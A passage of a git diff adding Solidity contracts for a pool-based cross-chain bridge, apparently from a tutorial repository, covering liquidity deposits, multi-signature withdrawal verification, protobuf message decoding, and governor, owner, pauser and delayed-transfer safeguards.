+contract Pool is Signers, ReentrancyGuard, Pauser, VolumeControl, DelayedTransfer {
+    using SafeERC20 for IERC20;
+
+    uint64 public addseq; // ensure unique LiquidityAdded event, start from 1
+    mapping(address => uint256) public minAdd; // add _amount must > minAdd
+
+    // map of successful withdraws, if true means already withdrew money or added to delayedTransfers
+    mapping(bytes32 => bool) public withdraws;
+
+    // erc20 wrap of gas token of this chain, eg. WETH, when relay ie. pay out,
+    // if request.token equals this, will withdraw and send native token to receiver
+    // note we don't check whether it's zero address. when this isn't set, and request.token
+    // is all 0 address, guarantee fail
+    address public nativeWrap;
+
+    // when transfer native token after wrap, use this gas used config.
+    uint256 public nativeTokenTransferGas = 50000;
+
+    // liquidity events
+    event LiquidityAdded(
+        uint64 seqnum,
+        address provider,
+        address token,
+        uint256 amount // how many tokens were added
+    );
+    event WithdrawDone(
+        bytes32 withdrawId,
+        uint64 seqnum,
+        address receiver,
+        address token,
+        uint256 amount,
+        bytes32 refid
+    );
+    event MinAddUpdated(address token, uint256 amount);
+
+    /**
+     * @notice Add liquidity to the pool-based bridge.
+     * NOTE: This function DOES NOT SUPPORT fee-on-transfer / rebasing tokens.
+     * @param _token The address of the token.
+     * @param _amount The amount to add.
+     */
+    function addLiquidity(address _token, uint256 _amount) external nonReentrant whenNotPaused {
+        require(_amount > minAdd[_token], "amount too small");
+        addseq += 1;
+        IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
+        emit LiquidityAdded(addseq, msg.sender, _token, _amount);
+    }
+
+    /**
+     * @notice Add native token liquidity to the pool-based bridge.
+     * @param _amount The amount to add.
+     */
+    function addNativeLiquidity(uint256 _amount) external payable nonReentrant whenNotPaused {
+        require(msg.value == _amount, "Amount mismatch");
+        require(nativeWrap != address(0), "Native wrap not set");
+        require(_amount > minAdd[nativeWrap], "amount too small");
+        addseq += 1;
+        IWETH(nativeWrap).deposit{value: _amount}();
+        emit LiquidityAdded(addseq, msg.sender, nativeWrap, _amount);
+    }
+
+    /**
+     * @notice Withdraw funds from the bridge pool.
+     * @param _wdmsg The serialized Withdraw protobuf.
+     * @param _sigs The list of signatures sorted by signing addresses in ascending order. A withdrawal must be
+     * signed-off by +2/3 of the bridge's current signing power to be delivered.
+     * @param _signers The sorted list of signers.
+     * @param _powers The signing powers of the signers.
+     */
+    function withdraw(
+        bytes calldata _wdmsg,
+        bytes[] calldata _sigs,
+        address[] calldata _signers,
+        uint256[] calldata _powers
+    ) external whenNotPaused {
+        bytes32 domain = keccak256(abi.encodePacked(block.chainid, address(this), "WithdrawMsg"));
+        verifySigs(abi.encodePacked(domain, _wdmsg), _sigs, _signers, _powers);
+        // decode and check wdmsg
+        PbPool.WithdrawMsg memory wdmsg = PbPool.decWithdrawMsg(_wdmsg);
+        // len = 8 + 8 + 20 + 20 + 32 = 88
+        bytes32 wdId = keccak256(
+            abi.encodePacked(wdmsg.chainid, wdmsg.seqnum, wdmsg.receiver, wdmsg.token, wdmsg.amount)
+        );
+        require(withdraws[wdId] == false, "withdraw already succeeded");
+        withdraws[wdId] = true;
+        _updateVolume(wdmsg.token, wdmsg.amount);
+        uint256 delayThreshold = delayThresholds[wdmsg.token];
+        if (delayThreshold > 0 && wdmsg.amount > delayThreshold) {
+            _addDelayedTransfer(wdId, wdmsg.receiver, wdmsg.token, wdmsg.amount);
+        } else {
+            _sendToken(wdmsg.receiver, wdmsg.token, wdmsg.amount);
+        }
+        emit WithdrawDone(wdId, wdmsg.seqnum, wdmsg.receiver, wdmsg.token, wdmsg.amount, wdmsg.refid);
+    }
+
+    function executeDelayedTransfer(bytes32 id) external whenNotPaused {
+        delayedTransfer memory transfer = _executeDelayedTransfer(id);
+        _sendToken(transfer.receiver, transfer.token, transfer.amount);
+    }
+
+    function setMinAdd(address[] calldata _tokens, uint256[] calldata _amounts) external onlyGovernor {
+        require(_tokens.length == _amounts.length, "length mismatch");
+        for (uint256 i = 0; i < _tokens.length; i++) {
+            minAdd[_tokens[i]] = _amounts[i];
+            emit MinAddUpdated(_tokens[i], _amounts[i]);
+        }
+    }
+
+    function _sendToken(
+        address _receiver,
+        address _token,
+        uint256 _amount
+    ) internal {
+        if (_token == nativeWrap) {
+            // withdraw then transfer native to receiver
+            IWETH(nativeWrap).withdraw(_amount);
+            (bool sent, ) = _receiver.call{value: _amount, gas: nativeTokenTransferGas}("");
+            require(sent, "failed to send native token");
+        } else {
+            IERC20(_token).safeTransfer(_receiver, _amount);
+        }
+    }
+
+    // set nativeWrap, for relay requests, if token == nativeWrap, will withdraw first then transfer native to receiver
+    function setWrap(address _weth) external onlyOwner {
+        nativeWrap = _weth;
+    }
+
+    // setNativeTransferGasUsed, native transfer will use this config.
+    function setNativeTokenTransferGas(uint256 _gasUsed) external onlyGovernor {
+        nativeTokenTransferGas = _gasUsed;
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/Signers.sol b/basic/80-crossChainTransfer/celerBridge/contracts/Signers.sol
new file mode 100644
index 000000000..df418734e
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/Signers.sol
@@ -0,0 +1,138 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity 0.8.17;
+
+import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
+import "./safeguard/Ownable.sol";
+import "./interfaces/ISigsVerifier.sol";
+
+/**
+ * @title Multi-sig verification and management functions for {Bridge}.
+ */
+contract Signers is Ownable, ISigsVerifier {
+    using ECDSA for bytes32;
+
+    bytes32 public ssHash;
+    uint256 public triggerTime; // timestamp when last update was triggered
+
+    // reset can be called by the owner address for emergency recovery
+    uint256 public resetTime;
+    uint256 public noticePeriod; // advance notice period as seconds for reset
+    uint256 constant MAX_INT = 2**256 - 1;
+
+    event SignersUpdated(address[] _signers, uint256[] _powers);
+
+    event ResetNotification(uint256 resetTime);
+
+    /**
+     * @notice Verifies that a message is signed by a quorum among the signers
+     * The sigs must be sorted by signer addresses in ascending order.
+     * @param _msg signed message
+     * @param _sigs list of signatures sorted by signer addresses in ascending order
+     * @param _signers sorted list of current signers
+     * @param _powers powers of current signers
+     */
+    function verifySigs(
+        bytes memory _msg,
+        bytes[] calldata _sigs,
+        address[] calldata _signers,
+        uint256[] calldata _powers
+    ) public view override {
+        bytes32 h = keccak256(abi.encodePacked(_signers, _powers));
+        require(ssHash == h, "Mismatch current signers");
+        _verifySignedPowers(keccak256(_msg).toEthSignedMessageHash(), _sigs, _signers, _powers);
+    }
+
+    /**
+     * @notice Update new signers.
+     * @param _newSigners sorted list of new signers
+     * @param _curPowers powers of new signers
+     * @param _sigs list of signatures sorted by signer addresses in ascending order
+     * @param _curSigners sorted list of current signers
+     * @param _curPowers powers of current signers
+     */
+    function updateSigners(
+        uint256 _triggerTime,
+        address[] calldata _newSigners,
+        uint256[] calldata _newPowers,
+        bytes[] calldata _sigs,
+        address[] calldata _curSigners,
+        uint256[] calldata _curPowers
+    ) external {
+        // use trigger time for nonce protection, must be ascending
+        require(_triggerTime > triggerTime, "Trigger time is not increasing");
+        // make sure triggerTime is not too large, as it cannot be decreased once set
+        require(_triggerTime < block.timestamp + 3600, "Trigger time is too large");
+        bytes32 domain = keccak256(abi.encodePacked(block.chainid, address(this), "UpdateSigners"));
+        verifySigs(abi.encodePacked(domain, _triggerTime, _newSigners, _newPowers), _sigs, _curSigners, _curPowers);
+        _updateSigners(_newSigners, _newPowers);
+        triggerTime = _triggerTime;
+    }
+
+    /**
+     * @notice reset signers, only used for init setup and emergency recovery
+     */
+    function resetSigners(address[] calldata _signers, uint256[] calldata _powers) external onlyOwner {
+        require(block.timestamp > resetTime, "not reach reset time");
+        resetTime = MAX_INT;
+        _updateSigners(_signers, _powers);
+    }
+
+    function notifyResetSigners() external onlyOwner {
+        resetTime = block.timestamp + noticePeriod;
+        emit ResetNotification(resetTime);
+    }
+
+    function increaseNoticePeriod(uint256 period) external onlyOwner {
+        require(period > noticePeriod, "notice period can only be increased");
+        noticePeriod = period;
+    }
+
+    // separate from verifySigs func to avoid "stack too deep" issue
+    function _verifySignedPowers(
+        bytes32 _hash,
+        bytes[] calldata _sigs,
+        address[] calldata _signers,
+        uint256[] calldata _powers
+    ) private pure {
+        require(_signers.length == _powers.length, "signers and powers length not match");
+        uint256 totalPower; // sum of all signer.power
+        for (uint256 i = 0; i < _signers.length; i++) {
+            totalPower += _powers[i];
+        }
+        uint256 quorum = (totalPower * 2) / 3 + 1;
+
+        uint256 signedPower; // sum of signer powers who are in sigs
+        address prev = address(0);
+        uint256 index = 0;
+        for (uint256 i = 0; i < _sigs.length; i++) {
+            address signer = _hash.recover(_sigs[i]);
+            require(signer > prev, "signers not in ascending order");
+            prev = signer;
+            // now find match signer add its power
+            while (signer > _signers[index]) {
+                index += 1;
+                require(index < _signers.length, "signer not found");
+            }
+            if (signer == _signers[index]) {
+                signedPower += _powers[index];
+            }
+            if (signedPower >= quorum) {
+                // return early to save gas
+                return;
+            }
+        }
+        revert("quorum not reached");
+    }
+
+    function _updateSigners(address[] calldata _signers, uint256[] calldata _powers) private {
+        require(_signers.length == _powers.length, "signers and powers length not match");
+        address prev = address(0);
+        for (uint256 i = 0; i < _signers.length; i++) {
+            require(_signers[i] > prev, "New signers not in ascending order");
+            prev = _signers[i];
+        }
+        ssHash = keccak256(abi.encodePacked(_signers, _powers));
+        emit SignersUpdated(_signers, _powers);
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/interfaces/ISigsVerifier.sol b/basic/80-crossChainTransfer/celerBridge/contracts/interfaces/ISigsVerifier.sol
new file mode 100644
index 000000000..8297d4c9d
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/interfaces/ISigsVerifier.sol
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity >=0.8.0;
+
+interface ISigsVerifier {
+    /**
+     * @notice Verifies that a message is signed by a quorum among the signers.
+     * @param _msg signed message
+     * @param _sigs list of signatures sorted by signer addresses in ascending order
+     * @param _signers sorted list of current signers
+     * @param _powers powers of current signers
+     */
+    function verifySigs(
+        bytes memory _msg,
+        bytes[] calldata _sigs,
+        address[] calldata _signers,
+        uint256[] calldata _powers
+    ) external view;
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/interfaces/IWETH.sol b/basic/80-crossChainTransfer/celerBridge/contracts/interfaces/IWETH.sol
new file mode 100644
index 000000000..89f49e932
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/interfaces/IWETH.sol
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity >=0.8.0;
+
+interface IWETH {
+    function deposit() external payable;
+
+    function withdraw(uint256) external;
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/libraries/Pb.sol b/basic/80-crossChainTransfer/celerBridge/contracts/libraries/Pb.sol
new file mode 100644
index 000000000..a9484218d
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/libraries/Pb.sol
@@ -0,0 +1,192 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity 0.8.17;
+
+// runtime proto sol library
+library Pb {
+    enum WireType {
+        Varint,
+        Fixed64,
+        LengthDelim,
+        StartGroup,
+        EndGroup,
+        Fixed32
+    }
+
+    struct Buffer {
+        uint256 idx; // the start index of next read. when idx=b.length, we're done
+        bytes b; // hold serialized proto msg, readonly
+    }
+
+    // create a new in-memory Buffer object from raw msg bytes
+    function fromBytes(bytes memory raw) internal pure returns (Buffer memory buf) {
+        buf.b = raw;
+        buf.idx = 0;
+    }
+
+    // whether there are unread bytes
+    function hasMore(Buffer memory buf) internal pure returns (bool) {
+        return buf.idx < buf.b.length;
+    }
+
+    // decode current field number and wiretype
+    function decKey(Buffer memory buf) internal pure returns (uint256 tag, WireType wiretype) {
+        uint256 v = decVarint(buf);
+        tag = v / 8;
+        wiretype = WireType(v & 7);
+    }
+
+    // count tag occurrences, return an array due to no memory map support
+    // have to create array for (maxtag+1) size. cnts[tag] = occurrences
+    // should keep buf.idx unchanged because this is only a count function
+    function cntTags(Buffer memory buf, uint256 maxtag) internal pure returns (uint256[] memory cnts) {
+        uint256 originalIdx = buf.idx;
+        cnts = new uint256[](maxtag + 1); // protobuf's tags are from 1 rather than 0
+        uint256 tag;
+        WireType wire;
+        while (hasMore(buf)) {
+            (tag, wire) = decKey(buf);
+            cnts[tag] += 1;
+            skipValue(buf, wire);
+        }
+        buf.idx = originalIdx;
+    }
+
+    // read varint from current buf idx, move buf.idx to next read, return the int value
+    function decVarint(Buffer memory buf) internal pure returns (uint256 v) {
+        bytes10 tmp; // proto int is at most 10 bytes (7 bits can be used per byte)
+        bytes memory bb = buf.b; // get buf.b mem addr to use in assembly
+        v = buf.idx; // use v to save one additional uint variable
+        assembly {
+            tmp := mload(add(add(bb, 32), v)) // load 10 bytes from buf.b[buf.idx] to tmp
+        }
+        uint256 b; // store current byte content
+        v = 0; // reset to 0 for return value
+        for (uint256 i = 0; i < 10; i++) {
+            assembly {
+                b := byte(i, tmp) // don't use tmp[i] because it does bound check and costs extra
+            }
+            v |= (b & 0x7F) << (i * 7);
+            if (b & 0x80 == 0) {
+                buf.idx += i + 1;
+                return v;
+            }
+        }
+        revert(); // i=10, invalid varint stream
+    }
+
+    // read length delimited field and return bytes
+    function decBytes(Buffer memory buf) internal pure returns (bytes memory b) {
+        uint256 len = decVarint(buf);
+        uint256 end = buf.idx + len;
+        require(end <= buf.b.length); // avoid overflow
+        b = new bytes(len);
+        bytes memory bufB = buf.b; // get buf.b mem addr to use in assembly
+        uint256 bStart;
+        uint256 bufBStart = buf.idx;
+        assembly {
+            bStart := add(b, 32)
+            bufBStart := add(add(bufB, 32), bufBStart)
+        }
+        for (uint256 i = 0; i < len; i += 32) {
+            assembly {
+                mstore(add(bStart, i), mload(add(bufBStart, i)))
+            }
+        }
+        buf.idx = end;
+    }
+
+    // return packed ints
+    function decPacked(Buffer memory buf) internal pure returns (uint256[] memory t) {
+        uint256 len = decVarint(buf);
+        uint256 end = buf.idx + len;
+        require(end <= buf.b.length); // avoid overflow
+        // array in memory must be init w/ known length
+        // so we have to create a tmp array w/ max possible len first
+        uint256[] memory tmp = new uint256[](len);
+        uint256 i = 0; // count how many ints are there
+        while (buf.idx < end) {
+            tmp[i] = decVarint(buf);
+            i++;
+        }
+        t = new uint256[](i); // init t with correct length
+        for (uint256 j = 0; j < i; j++) {
+            t[j] = tmp[j];
+        }
+        return t;
+    }
+
+    // move idx pass current value field, to beginning of next tag or msg end
+    function skipValue(Buffer memory buf, WireType wire) internal pure {
+        if (wire == WireType.Varint) {
+            decVarint(buf);
+        } else if (wire == WireType.LengthDelim) {
+            uint256 len = decVarint(buf);
+            buf.idx += len; // skip len bytes value data
+            require(buf.idx <= buf.b.length); // avoid overflow
+        } else {
+            revert();
+        } // unsupported wiretype
+    }
+
+    // type conversion help utils
+    function _bool(uint256 x) internal pure returns (bool v) {
+        return x != 0;
+    }
+
+    function _uint256(bytes memory b) internal pure returns (uint256 v) {
+        require(b.length <= 32); // b's length must be smaller than or equal to 32
+        assembly {
+            v := mload(add(b, 32))
+        } // load all 32bytes to v
+        v = v >> (8 * (32 - b.length)); // only first b.length is valid
+    }
+
+    function _address(bytes memory b) internal pure returns (address v) {
+        v = _addressPayable(b);
+    }
+
+    function _addressPayable(bytes memory b) internal pure returns (address payable v) {
+        require(b.length == 20);
+        //load 32bytes then shift right 12 bytes
+        assembly {
+            v := div(mload(add(b, 32)), 0x1000000000000000000000000)
+        }
+    }
+
+    function _bytes32(bytes memory b) internal pure returns (bytes32 v) {
+        require(b.length == 32);
+        assembly {
+            v := mload(add(b, 32))
+        }
+    }
+
+    // uint[] to uint8[]
+    function uint8s(uint256[] memory arr) internal pure returns (uint8[] memory t) {
+        t = new uint8[](arr.length);
+        for (uint256 i = 0; i < t.length; i++) {
+            t[i] = uint8(arr[i]);
+        }
+    }
+
+    function uint32s(uint256[] memory arr) internal pure returns (uint32[] memory t) {
+        t = new uint32[](arr.length);
+        for (uint256 i = 0; i < t.length; i++) {
+            t[i] = uint32(arr[i]);
+        }
+    }
+
+    function uint64s(uint256[] memory arr) internal pure returns (uint64[] memory t) {
+        t = new uint64[](arr.length);
+        for (uint256 i = 0; i < t.length; i++) {
+            t[i] = uint64(arr[i]);
+        }
+    }
+
+    function bools(uint256[] memory arr) internal pure returns (bool[] memory t) {
+        t = new bool[](arr.length);
+        for (uint256 i = 0; i < t.length; i++) {
+            t[i] = arr[i] != 0;
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/libraries/PbBridge.sol b/basic/80-crossChainTransfer/celerBridge/contracts/libraries/PbBridge.sol
new file mode 100644
index 000000000..456968ec2
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/libraries/PbBridge.sol
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+// Code generated by protoc-gen-sol. DO NOT EDIT.
+// source: bridge.proto
+pragma solidity 0.8.17;
+import "./Pb.sol";
+
+library PbBridge {
+    using Pb for Pb.Buffer; // so we can call Pb funcs on Buffer obj
+
+    struct Relay {
+        address sender; // tag: 1
+        address receiver; // tag: 2
+        address token; // tag: 3
+        uint256 amount; // tag: 4
+        uint64 srcChainId; // tag: 5
+        uint64 dstChainId; // tag: 6
+        bytes32 srcTransferId; // tag: 7
+    } // end struct Relay
+
+    function decRelay(bytes memory raw) internal pure returns (Relay memory m) {
+        Pb.Buffer memory buf = Pb.fromBytes(raw);
+
+        uint256 tag;
+        Pb.WireType wire;
+        while (buf.hasMore()) {
+            (tag, wire) = buf.decKey();
+            if (false) {}
+            // solidity has no switch/case
+            else if (tag == 1) {
+                m.sender = Pb._address(buf.decBytes());
+            } else if (tag == 2) {
+                m.receiver = Pb._address(buf.decBytes());
+            } else if (tag == 3) {
+                m.token = Pb._address(buf.decBytes());
+            } else if (tag == 4) {
+                m.amount = Pb._uint256(buf.decBytes());
+            } else if (tag == 5) {
+                m.srcChainId = uint64(buf.decVarint());
+            } else if (tag == 6) {
+                m.dstChainId = uint64(buf.decVarint());
+            } else if (tag == 7) {
+                m.srcTransferId = Pb._bytes32(buf.decBytes());
+            } else {
+                buf.skipValue(wire);
+            } // skip value of unknown tag
+        }
+    } // end decoder Relay
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/libraries/PbPegged.sol b/basic/80-crossChainTransfer/celerBridge/contracts/libraries/PbPegged.sol
new file mode 100644
index 000000000..3d2180836
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/libraries/PbPegged.sol
@@ -0,0 +1,82 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+// Code generated by protoc-gen-sol. DO NOT EDIT.
+// source: contracts/libraries/proto/pegged.proto
+pragma solidity 0.8.17;
+import "./Pb.sol";
+
+library PbPegged {
+    using Pb for Pb.Buffer; // so we can call Pb funcs on Buffer obj
+
+    struct Mint {
+        address token; // tag: 1
+        address account; // tag: 2
+        uint256 amount; // tag: 3
+        address depositor; // tag: 4
+        uint64 refChainId; // tag: 5
+        bytes32 refId; // tag: 6
+    } // end struct Mint
+
+    function decMint(bytes memory raw) internal pure returns (Mint memory m) {
+        Pb.Buffer memory buf = Pb.fromBytes(raw);
+
+        uint256 tag;
+        Pb.WireType wire;
+        while (buf.hasMore()) {
+            (tag, wire) = buf.decKey();
+            if (false) {}
+            // solidity has no switch/case
+            else if (tag == 1) {
+                m.token = Pb._address(buf.decBytes());
+            } else if (tag == 2) {
+                m.account = Pb._address(buf.decBytes());
+            } else if (tag == 3) {
+                m.amount = Pb._uint256(buf.decBytes());
+            } else if (tag == 4) {
+                m.depositor = Pb._address(buf.decBytes());
+            } else if (tag == 5) {
+                m.refChainId = uint64(buf.decVarint());
+            } else if (tag == 6) {
+                m.refId = Pb._bytes32(buf.decBytes());
+            } else {
+                buf.skipValue(wire);
+            } // skip value of unknown tag
+        }
+    } // end decoder Mint
+
+    struct Withdraw {
+        address token; // tag: 1
+        address receiver; // tag: 2
+        uint256 amount; // tag: 3
+        address burnAccount; // tag: 4
+        uint64 refChainId; // tag: 5
+        bytes32 refId; // tag: 6
+    } // end struct Withdraw
+
+    function decWithdraw(bytes memory raw) internal pure returns (Withdraw memory m) {
+        Pb.Buffer memory buf = Pb.fromBytes(raw);
+
+        uint256 tag;
+        Pb.WireType wire;
+        while (buf.hasMore()) {
+            (tag, wire) = buf.decKey();
+            if (false) {}
+            // solidity has no switch/case
+            else if (tag == 1) {
+                m.token = Pb._address(buf.decBytes());
+            } else if (tag == 2) {
+                m.receiver = Pb._address(buf.decBytes());
+            } else if (tag == 3) {
+                m.amount = Pb._uint256(buf.decBytes());
+            } else if (tag == 4) {
+                m.burnAccount = Pb._address(buf.decBytes());
+            } else if (tag == 5) {
+                m.refChainId = uint64(buf.decVarint());
+            } else if (tag == 6) {
+                m.refId = Pb._bytes32(buf.decBytes());
+            } else {
+                buf.skipValue(wire);
+            } // skip value of unknown tag
+        }
+    } // end decoder Withdraw
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/libraries/PbPool.sol b/basic/80-crossChainTransfer/celerBridge/contracts/libraries/PbPool.sol
new file mode 100644
index 000000000..211d6ad08
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/libraries/PbPool.sol
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+// Code generated by protoc-gen-sol. DO NOT EDIT.
+// source: contracts/libraries/proto/pool.proto
+pragma solidity 0.8.17;
+import "./Pb.sol";
+
+library PbPool {
+    using Pb for Pb.Buffer; // so we can call Pb funcs on Buffer obj
+
+    struct WithdrawMsg {
+        uint64 chainid; // tag: 1
+        uint64 seqnum; // tag: 2
+        address receiver; // tag: 3
+        address token; // tag: 4
+        uint256 amount; // tag: 5
+        bytes32 refid; // tag: 6
+    } // end struct WithdrawMsg
+
+    function decWithdrawMsg(bytes memory raw) internal pure returns (WithdrawMsg memory m) {
+        Pb.Buffer memory buf = Pb.fromBytes(raw);
+
+        uint256 tag;
+        Pb.WireType wire;
+        while (buf.hasMore()) {
+            (tag, wire) = buf.decKey();
+            if (false) {}
+            // solidity has no switch/case
+            else if (tag == 1) {
+                m.chainid = uint64(buf.decVarint());
+            } else if (tag == 2) {
+                m.seqnum = uint64(buf.decVarint());
+            } else if (tag == 3) {
+                m.receiver = Pb._address(buf.decBytes());
+            } else if (tag == 4) {
+                m.token = Pb._address(buf.decBytes());
+            } else if (tag == 5) {
+                m.amount = Pb._uint256(buf.decBytes());
+            } else if (tag == 6) {
+                m.refid = Pb._bytes32(buf.decBytes());
+            } else {
+                buf.skipValue(wire);
+            } // skip value of unknown tag
+        }
+    } // end decoder WithdrawMsg
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/DelayedTransfer.sol b/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/DelayedTransfer.sol
new file mode 100644
index 000000000..0ca0c0394
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/DelayedTransfer.sol
@@ -0,0 +1,62 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity 0.8.17;
+
+import "./Governor.sol";
+
+abstract contract DelayedTransfer is Governor {
+    struct delayedTransfer {
+        address receiver;
+        address token;
+        uint256 amount;
+        uint256 timestamp;
+    }
+    mapping(bytes32 => delayedTransfer) public delayedTransfers;
+    mapping(address => uint256) public delayThresholds;
+    uint256 public delayPeriod; // in seconds
+
+    event DelayedTransferAdded(bytes32 id);
+    event DelayedTransferExecuted(bytes32 id, address receiver, address token, uint256 amount);
+
+    event DelayPeriodUpdated(uint256 period);
+    event DelayThresholdUpdated(address token, uint256 threshold);
+
+    function setDelayThresholds(address[] calldata _tokens, uint256[] calldata _thresholds) external onlyGovernor {
+        require(_tokens.length == _thresholds.length, "length mismatch");
+        for (uint256 i = 0; i < _tokens.length; i++) {
+            delayThresholds[_tokens[i]] = _thresholds[i];
+            emit DelayThresholdUpdated(_tokens[i], _thresholds[i]);
+        }
+    }
+
+    function setDelayPeriod(uint256 _period) external onlyGovernor {
+        delayPeriod = _period;
+        emit DelayPeriodUpdated(_period);
+    }
+
+    function _addDelayedTransfer(
+        bytes32 id,
+        address receiver,
+        address token,
+        uint256 amount
+    ) internal {
+        require(delayedTransfers[id].timestamp == 0, "delayed transfer already exists");
+        delayedTransfers[id] = delayedTransfer({
+            receiver: receiver,
+            token: token,
+            amount: amount,
+            timestamp: block.timestamp
+        });
+        emit DelayedTransferAdded(id);
+    }
+
+    // caller needs to do the actual token transfer
+    function _executeDelayedTransfer(bytes32 id) internal returns (delayedTransfer memory) {
+        delayedTransfer memory transfer = delayedTransfers[id];
+        require(transfer.timestamp > 0, "delayed transfer not exist");
+        require(block.timestamp > transfer.timestamp + delayPeriod, "delayed transfer still locked");
+        delete delayedTransfers[id];
+        emit DelayedTransferExecuted(id, transfer.receiver, transfer.token, transfer.amount);
+        return transfer;
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/Governor.sol b/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/Governor.sol
new file mode 100644
index 000000000..f1730a419
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/Governor.sol
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity 0.8.17;
+
+import "./Ownable.sol";
+
+abstract contract Governor is Ownable {
+    mapping(address => bool) public governors;
+
+    event GovernorAdded(address account);
+    event GovernorRemoved(address account);
+
+    modifier onlyGovernor() {
+        require(isGovernor(msg.sender), "Caller is not governor");
+        _;
+    }
+
+    constructor() {
+        _addGovernor(msg.sender);
+    }
+
+    function isGovernor(address _account) public view returns (bool) {
+        return governors[_account];
+    }
+
+    function addGovernor(address _account) public onlyOwner {
+        _addGovernor(_account);
+    }
+
+    function removeGovernor(address _account) public onlyOwner {
+        _removeGovernor(_account);
+    }
+
+    function renounceGovernor() public {
+        _removeGovernor(msg.sender);
+    }
+
+    function _addGovernor(address _account) private {
+        require(!isGovernor(_account), "Account is already governor");
+        governors[_account] = true;
+        emit GovernorAdded(_account);
+    }
+
+    function _removeGovernor(address _account) private {
+        require(isGovernor(_account), "Account is not governor");
+        governors[_account] = false;
+        emit GovernorRemoved(_account);
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/Ownable.sol b/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/Ownable.sol
new file mode 100644
index 000000000..94b1f7b0f
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/Ownable.sol
@@ -0,0 +1,71 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity ^0.8.0;
+
+/**
+ * @dev Contract module which provides a basic access control mechanism, where
+ * there is an account (an owner) that can be granted exclusive access to
+ * specific functions.
+ *
+ * By default, the owner account will be the one that deploys the contract. This
+ * can later be changed with {transferOwnership}.
+ *
+ * This module is used through inheritance. It will make available the modifier
+ * `onlyOwner`, which can be applied to your functions to restrict their use to
+ * the owner.
+ *
+ * This adds a normal func that setOwner if _owner is address(0). So we can't allow
+ * renounceOwnership. So we can support Proxy based upgradable contract
+ */
+abstract contract Ownable {
+    address private _owner;
+
+    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
+
+    /**
+     * @dev Initializes the contract setting the deployer as the initial owner.
+     */
+    constructor() {
+        _setOwner(msg.sender);
+    }
+
+    /**
+     * @dev Only to be called by inherit contracts, in their init func called by Proxy
+     * we require _owner == address(0), which is only possible when it's a delegateCall
+     * because constructor sets _owner in contract state.
+     */
+    function initOwner() internal {
+        require(_owner == address(0), "owner already set");
+        _setOwner(msg.sender);
+    }
+
+    /**
+     * @dev Returns the address of the current owner.
+     */
+    function owner() public view virtual returns (address) {
+        return _owner;
+    }
+
+    /**
+     * @dev Throws if called by any account other than the owner.
+     */
+    modifier onlyOwner() {
+        require(owner() == msg.sender, "Ownable: caller is not the owner");
+        _;
+    }
+
+    /**
+     * @dev Transfers ownership of the contract to a new account (`newOwner`).
+     * Can only be called by the current owner.
+     */
+    function transferOwnership(address newOwner) public virtual onlyOwner {
+        require(newOwner != address(0), "Ownable: new owner is the zero address");
+        _setOwner(newOwner);
+    }
+
+    function _setOwner(address newOwner) private {
+        address oldOwner = _owner;
+        _owner = newOwner;
+        emit OwnershipTransferred(oldOwner, newOwner);
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/Pauser.sol b/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/Pauser.sol
new file mode 100644
index 000000000..f7105b328
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/Pauser.sol
@@ -0,0 +1,58 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity 0.8.17;
+
+import "@openzeppelin/contracts/security/Pausable.sol";
+import "./Ownable.sol";
+
+abstract contract Pauser is Ownable, Pausable {
+    mapping(address => bool) public pausers;
+
+    event PauserAdded(address account);
+    event PauserRemoved(address account);
+
+    constructor() {
+        _addPauser(msg.sender);
+    }
+
+    modifier onlyPauser() {
+        require(isPauser(msg.sender), "Caller is not pauser");
+        _;
+    }
+
+    function pause() public onlyPauser {
+        _pause();
+    }
+
+    function unpause() public onlyPauser {
+        _unpause();
+    }
+
+    function isPauser(address account) public view returns (bool) {
+        return pausers[account];
+    }
